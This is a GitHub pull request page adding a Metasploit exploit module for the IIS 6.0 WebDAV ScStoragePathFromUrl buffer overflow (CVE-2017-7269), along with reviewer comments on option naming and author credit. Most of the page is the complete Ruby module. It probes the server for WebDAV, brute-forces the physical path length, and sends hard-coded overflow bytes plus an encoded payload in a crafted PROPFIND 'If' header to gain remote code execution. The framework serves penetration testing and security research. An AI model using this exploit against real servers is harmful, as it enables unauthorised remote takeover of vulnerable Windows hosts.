-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add IIS 6.0 ScStoragePathFromUrl exploit (CVE-2017-7269) (follwoup) #8355
Changes from 21 commits
9e8ec53
f7cecaf
20a9b88
b301a8d
1552cc4
ed90971
ffdd5fb
c203fa7
4972b51
d1c269e
ebbed94
d7bed33
697d397
8b3fe0a
8f6d069
30c4a66
46d977d
406a7f1
7dccb17
962a31f
2637379
f62ac63
68f61f3
8069633
f70b402
2b4ace9
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,175 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ManualRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow', | ||
'Description' => %q{ | ||
Buffer overflow in the ScStoragePathFromUrl function | ||
in the WebDAV service in Internet Information Services (IIS) 6.0 | ||
in Microsoft Windows Server 2003 R2 allows remote attackers to | ||
execute arbitrary code via a long header beginning with | ||
"If: <http://" in a PROPFIND request, as exploited in the | ||
wild in July or August 2016. | ||
|
||
Original exploit by Zhiniang Peng and Chen Wu. | ||
}, | ||
'Author' => | ||
[ | ||
'Zhiniang Peng', # Original author | ||
'Chen Wu', # Original author | ||
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module | ||
'firefart', # metasploit module | ||
'zcgonvh <zcgonvh@qq.com>' # metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'CVE', '2017-7269' ], | ||
[ 'BID', '97127' ], | ||
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ], | ||
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ] | ||
], | ||
'Privileged' => false, | ||
'Payload' => | ||
{ | ||
'Space' => 2000, | ||
'BadChars' => "\x00", | ||
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, | ||
'DisableNops' => 'True', | ||
'EncoderOptions' => | ||
{ | ||
'BufferRegister' => 'ESI', | ||
} | ||
}, | ||
'DefaultOptions' => | ||
{ | ||
'EXITFUNC' => 'process', | ||
'PrependMigrate' => true, | ||
}, | ||
'Targets' => | ||
[ | ||
[ | ||
'Microsoft Windows Server 2003 R2 SP2', | ||
{ | ||
'Platform' => 'win', | ||
}, | ||
], | ||
], | ||
'Platform' => 'win', | ||
'DisclosureDate' => 'Mar 26 2017', | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), | ||
OptInt.new('MinPathLength', [ true, 'Start of physical path brute force', 3 ]), | ||
OptInt.new('MaxPathLength', [ true, 'End of physical path brute force', 60 ]), | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. All datastore options should be in capital. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. is this really the case? seeing all kinds of variants in the modules folder. If it's a convention should we add an msftidy check for this? @wvu-r7 There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This style convention is documented at https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options#ideal-datastore-naming There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. That's debatable, but yeah, that's typically the case. Normal options are uppercase (I like screaming snake), while advanced options are camel case. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. @wvu-r7 screaming snake made my day haha changed the casing |
||
]) | ||
end | ||
|
||
def min_path_len | ||
datastore['MinPathLength'] | ||
end | ||
|
||
def max_path_len | ||
datastore['MaxPathLength'] | ||
end | ||
|
||
def supports_webdav?(headers) | ||
if headers['MS-Author-Via'] == 'DAV' || | ||
headers['DASL'] == '<DAV:sql>' || | ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ || | ||
headers['Public'] =~ /PROPFIND/ || | ||
headers['Allow'] =~ /PROPFIND/ | ||
return true | ||
else | ||
return false | ||
end | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'uri' => target_uri.path, | ||
'method' => 'OPTIONS' | ||
}) | ||
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers) | ||
return Exploit::CheckCode::Vulnerable | ||
elsif res && supports_webdav?(res.headers) | ||
return Exploit::CheckCode::Detected | ||
elsif res.nil? | ||
return Exploit::CheckCode::Unknown | ||
else | ||
return Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
def exploit | ||
# extract the local servername and port from a PROPFIND request | ||
vprint_status("Extracting ServerName and Port") | ||
res = send_request_raw( | ||
'method' => 'PROPFIND', | ||
'headers' => { | ||
'Content-Length' => 0 | ||
}, | ||
'uri' => target_uri.path | ||
) | ||
fail_with(Failure::BadConfig, "Server does not respond to WebDAV request") unless res || res.code != 207 | ||
|
||
xml = res.get_xml_document | ||
url = URI.parse(xml.at("//a:response//a:href").text) | ||
server_name = url.hostname | ||
server_port = url.port | ||
server_scheme = url.scheme | ||
|
||
http_host = "#{server_scheme}://#{server_name}:#{server_port}" | ||
vprint_status("Using http_host #{http_host}") | ||
|
||
min_path_len.upto(max_path_len) do |path_len| | ||
vprint_status("Trying path length of #{path_len}...") | ||
|
||
begin | ||
buf1 = "<#{http_host}/" | ||
buf1 << rand_text_alpha(114 - path_len) | ||
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac" | ||
buf1 << ">" | ||
buf1 << " (Not <locktoken:write1>) <#{http_host}/" | ||
buf1 << rand_text_alpha(114 - path_len) | ||
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81" | ||
buf1 << payload.encoded | ||
buf1 << ">" | ||
|
||
vprint_status("Sending payload") | ||
res = send_request_raw( | ||
'method' => 'PROPFIND', | ||
'headers' => { | ||
'Content-Length' => 0, | ||
'If' => "#{buf1}" | ||
}, | ||
'uri' => target_uri.path | ||
) | ||
if res | ||
vprint_status("Server returned #{res.code}") | ||
if res.code == 502 || res.code == 400 | ||
next | ||
elsif session_created? | ||
return | ||
else | ||
vprint_status("Unknown Response: #{res.code}") | ||
end | ||
end | ||
rescue ::Errno::ECONNRESET | ||
vprint_status("got a connection reset") | ||
next | ||
end | ||
end | ||
end | ||
end | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Don't suppose I could get my name back in here?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
oops
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@rwhitcroft sure, what do you want in there? Nickname or real name?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@rwhitcroft found it on the other PR and added it. If you want smth. else, just ping me